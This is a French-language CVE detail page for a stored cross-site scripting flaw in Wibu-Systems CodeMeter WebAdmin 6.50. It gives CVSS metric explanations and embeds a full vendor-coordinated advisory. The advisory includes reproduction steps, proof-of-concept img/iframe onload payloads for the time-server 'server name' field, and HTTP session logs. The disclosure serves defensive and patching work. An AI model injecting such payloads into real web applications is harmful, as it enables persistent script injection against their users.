CVE-2017-13754 : Détail

CVE-2017-13754

5.4
/
Moyen
Cross-site Scripting
A03-Injection
0.56%V3
Network
2017-09-07
11h00 +00:00
2018-10-09
16h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Cross-site scripting (XSS) vulnerability in the "advanced settings - time server" module in Wibu-Systems CodeMeter before 6.50b allows remote attackers to inject arbitrary web script or HTML via the "server name" field in actions/ChangeConfiguration.html.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 5.4 MEDIUM CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 3.5 AV:N/AC:M/Au:S/C:N/I:P/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 42610

Date de publication : 2017-09-03 22h00 +00:00
Auteur : Vulnerability-Lab
EDB Vérifié : No

Document Title: =============== Wibu Systems AG CodeMeter 6.50 - Persistent XSS Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2074 ID: FB49498 Acknowledgements: https://www.flickr.com/photos/vulnerabilitylab/36912680045/ http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-13754 CVE-ID: ======= CVE-2017-13754 Release Date: ============= 2017-09-04 Vulnerability Laboratory ID (VL-ID): ==================================== 2074 Common Vulnerability Scoring System: ==================================== 3.5 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== CodeMeter is the universal technology for software publishers and intelligent device manufacturers, upon which all solutions from Wibu-Systems are built. You want to protect the software you have developed against piracy and reverse engineering. CodeMeter requires your attention only once: its integration in your software and your business workflow is necessary at one point in time only. Protection Suite is the tool that automatically encrypts your applications and libraries. In addition, CodeMeter offers an API for custom integration with your software. (Copy of the Homepage: http://www.wibu.com/us/codemeter.html ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a persistent input validation vulnerability in the official Wibu Systems CodeMeter WebAdmin v6.50 application. Vulnerability Disclosure Timeline: ================================== 2017-05-20: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH) 2017-05-21: Vendor Notification (Wibu Systems AG - Security Department) 2017-05-22: Vendor Response/Feedback (Wibu Systems AG - Security Department) 2017-08-01: Vendor Fix/Patch (Wibu Systems AG - Service Developer Team) 2017-08-20: Security Acknowledgements (Wibu Systems AG - Security Department) 2017-09-04: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Wibu-Systems AG Product: CodeMeter & Control Panel - WebAdmin (Web-Application) 6.50.2624.500 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A persistent input validation vulnerability has been discovered in the Wibu Systems AG CodeMeter WebAdmin v6.50 web-server web-application. The vulnerability allows remote attackers to inject own malicious script code with application-side vector to the vulnerable function or module to followup with a compromising attack. The input validation vulnerability has been discovered in the `server name` input field of the `advanced settings - time server` module. The request method to inject is POST and the attack vector is located on the application-side. First the attacker injects the payload and after it the POST request is performed to save the content permanently. After that the issue triggers on each visit an execution. The basic validation in the application is well setup but in case of the advanced settings the validation parameter are still not implemented to secure the function at all. The vulnerability is a classic filter input validation vulnerability. The application has no cookies and therefore the attack risk is more minor but not that less then to ignore it. The vulnerable files are `ChangeConfiguration.html`, `time_server_list.html` and `certified_time.html`. The `ChangeConfiguration.html` is marked as injection point for the payload. The `time_server_list.html` and `certified_time.html` files are mared with the execution point of the issue. The security issue was uncovered during the blurrybox hacking contest of the wibu systems ag and acknowledged by the management. The security risk of the persistent input validation issue is estimated as medium with a cvss (common vulnerability scoring system) count of 3.5. Exploitation of the persistent input validation web vulnerability requires low user interaction and a privileged web-application user account. Successful exploitation of the vulnerability results in persistent phishing attacks, persistent external redirects to malicious sources and persistent manipulation of affected or connected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Advanced Settings - Time Server Vulnerable File(s): [+] ChangeConfiguration.html Vulnerable Parameter(s): [+] server name Affected Module(s): [+] time_server_list.html [+] certified_time.html Proof of Concept (PoC): ======================= The persistent input validation vulnerability can be exploited by remote attackers with privileged user account and with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Start the CodeMeter software 2. Open the webadmin gui 3. Move to advanced settings 4. Open the time-server module 5. Click the plus to add a new time server Note: The request method is POST 6. Inject a test script code payload with matching domain and save via POST 7. The code is saved and executes of the dbms in the time-server list module index 8. Successful reproduce of the vulnerability! Note: The method can be automated by usage of post method requester to include a payload. PoC: Payload (Exploitation) cmtime.codehacker.de/>"<img src="evil.source" onload=alert("GUTENMORGEN")> cmtime.codehacker.de/>"<iframe src="evil.source" onload=alert("GUTENMORGEN")> PoC: Vulnerable Source <div id="time_server_to_add"><input id="TimeServerId1" name="time_server_list_list" value="cmtime.codemeter.com" type="radio"><label class="time_server_list_list_label" for="TimeServerId1"><span class="ct100_t bld ssl_number_space">1. </span>cmtime.codemeter.com<span class="ssl_up" onclick="onClickSSLUp(this);" style="visibility: hidden;"><span class="fa fa-arrow-up fa-list-buttons"></span></span><span class="ssl_down" onclick="onClickSSLDown(this);"><span class="fa fa-arrow-down fa-list-buttons"></span></span><span class="ssl_delete" onclick="onClickDelete(this);"><span class="fa fa-trash-o fa-list-buttons"> </span></span></label><input id="TimeServerId3" name="time_server_list_list" value="cmtime.codemeter.de" type="radio"> <label class="time_server_list_list_label" for="TimeServerId3"><span class="ct100_t bld ssl_number_space">2. </span>cmtime.codemeter.de <span class="ssl_up" onclick="onClickSSLUp(this);"><span class="fa fa-arrow-up fa-list-buttons"></span></span><span class="ssl_down" onclick="onClickSSLDown(this);"><span class="fa fa-arrow-down fa-list-buttons"></span></span><span class="ssl_delete" onclick="onClickDelete(this);"><span class="fa fa-trash-o fa-list-buttons"></span></span></label><input id="TimeServerId4" name="time_server_list_list" value="cmtime.codemeter.us" type="radio"><label class="time_server_list_list_label" for="TimeServerId4"> <span class="ct100_t bld ssl_number_space">3. </span>cmtime.codemeter.us<span class="ssl_up" onclick="onClickSSLUp(this);"> <span class="fa fa-arrow-up fa-list-buttons"></span></span><span class="ssl_down" onclick="onClickSSLDown(this);" style="visibility: visible;"><span class="fa fa-arrow-down fa-list-buttons"></span></span><span class="ssl_delete" onclick="onClickDelete(this);"> <span class="fa fa-trash-o fa-list-buttons"></span></span></label><input id="cmtime.codehacker.de/>" <img="" src="evil.source">" type="radio" name="time_server_list_list" value="cmtime.codehacker.de/>"<img src="evil.source">"/><label class="time_server_list_list_label" for="cmtime.codehacker.de/>" <img="" src="evil.source">"><span id="ssl_number_cmtime.codehacker.de/>" <img="" src="evil.source">"[EXECUTABLE PAYLOAD!] class="ct100_t bld ssl_number_space"></span>cmtime.codehacker.de/>"<img src="evil.source"><span class="ssl_up" onclick="onClickSSLUp(this);"><span class="fa fa-arrow-up fa-list-buttons"></span></span><span class="ssl_down" onclick="onClickSSLDown(this);" style="visibility: hidden;"><span class="fa fa-arrow-down fa-list-buttons"></span></span> <span class="ssl_delete" onclick="onClickDelete(this);"><span class="fa fa-trash-o fa-list-buttons"></span></span></label></div> --- PoC Session Logs (GET) --- Status: 200[OK] POST http://localhost:22350/actions/ChangeConfiguration.html Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[1544] Mime Type[text/html] Request Header: Host[localhost:22350] User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Content-Type[application/x-www-form-urlencoded] Content-Length[255] Referer[http://localhost:22350/configuration/certified_time.html] Cookie[com.wibu.cm.webadmin.lang=de-DE] Connection[keep-alive] Upgrade-Insecure-Requests[1] POST-Daten: Action[CertifiedTimeConfiguration] TimeServerList[cmtime.codemeter.com%7Ccmtime.codemeter.de%7Ccmtime.codemeter.us%7Ccmtime.codehacker.de/>"<img src="evil.source" onload=alert("GUTENMORGEN")>%7C] SoapTimeOut[20] certified_time_time_out[20] ApplyButton[Apply] WaFormGuard[v0V839tW3xkpa6jC26kYsvZJxe0UFJCl4%2FB2ipA6Xpwv] Response Header: Server[WIBU-SYSTEMS HTTP Server] Date[21 May 2017 16:00:21 +0000] Content-Type[text/html; charset=utf-8] X-Frame-Options[SAMEORIGIN] x-xss-protection[1; mode=block] Accept-Ranges[bytes] Content-Length[1544] - Status: 200[OK] GET http://localhost:22350/configuration/iframe/evil.source[PAYLOAD EXECUTION] Load Flags[LOAD_NORMAL] Größe des Inhalts[2320] Mime Type[text/html] Request Header: Host[localhost:22350] User-Agent[zero-zero] Accept[*/*] Referer[http://localhost:22350/configuration/iframe/time_server_list.html] Cookie[com.wibu.cm.webadmin.lang=de-DE] Connection[keep-alive] Response Header: Server[WIBU-SYSTEMS HTTP Server] Date[19 May 2017 21:02:23 +0000] Connection[close] Content-Type[text/html; charset=utf-8] X-Frame-Options[SAMEORIGIN] x-xss-protection[1; mode=block] Accept-Ranges[bytes] Content-Length[2320] - Status: 200[OK] GET http://localhost:22350/configuration/iframe/evil.source Mime Type[text/html] Request Header: Host[localhost:22350] User-Agent[zero-zero] Accept[*/*] Referer[http://localhost:22350/configuration/iframe/time_server_list.html] Cookie[com.wibu.cm.webadmin.lang=de-DE] Connection[keep-alive] Response Header: Server[WIBU-SYSTEMS HTTP Server] Date[19 May 2017 21:06:56 +0000] Connection[close] Content-Type[text/html; charset=utf-8] X-Frame-Options[SAMEORIGIN] x-xss-protection[1; mode=block] X-Content-Type-Options[nosniff] Accept-Ranges[bytes] Content-Length[2320] Reference(s): http://localhost:22350/ http://localhost:22350/configuration/ http://localhost:22350/configuration/ChangeConfiguration.html http://localhost:22350/configuration/certified_time.html http://localhost:22350/configuration/time_server_list.html Solution - Fix & Patch: ======================= 1. Restrict the input field and disallow the usage of special chars like in the other input fields 2. Parse the input field and escape the content 3. Parse in the visible listing the output location of the item 4. Setup a secure exception-handling to handl illegal events 5. Include a proper validation mask to the form to prevent further injection attacks The security vulnerability has been patched in the version 6.50b. Security Risk: ============== The seurity risk of the persistent input validation web vulnerability in the web-server webadmin web-application is estimated as medium (CVSS 3.5). Earlier version releases up to codemeter 6.50 may be affected as well by the cross site scripting web vulnerability. Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2017 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com

Products Mentioned

Configuraton 0

Wibu>>Codemeter >> Version To (including) 6.50a

Références

http://seclists.org/fulldisclosure/2017/Sep/1
Tags : mailing-list, x_refsource_FULLDISC
http://www.securityfocus.com/bid/104433
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/42610/
Tags : exploit, x_refsource_EXPLOIT-DB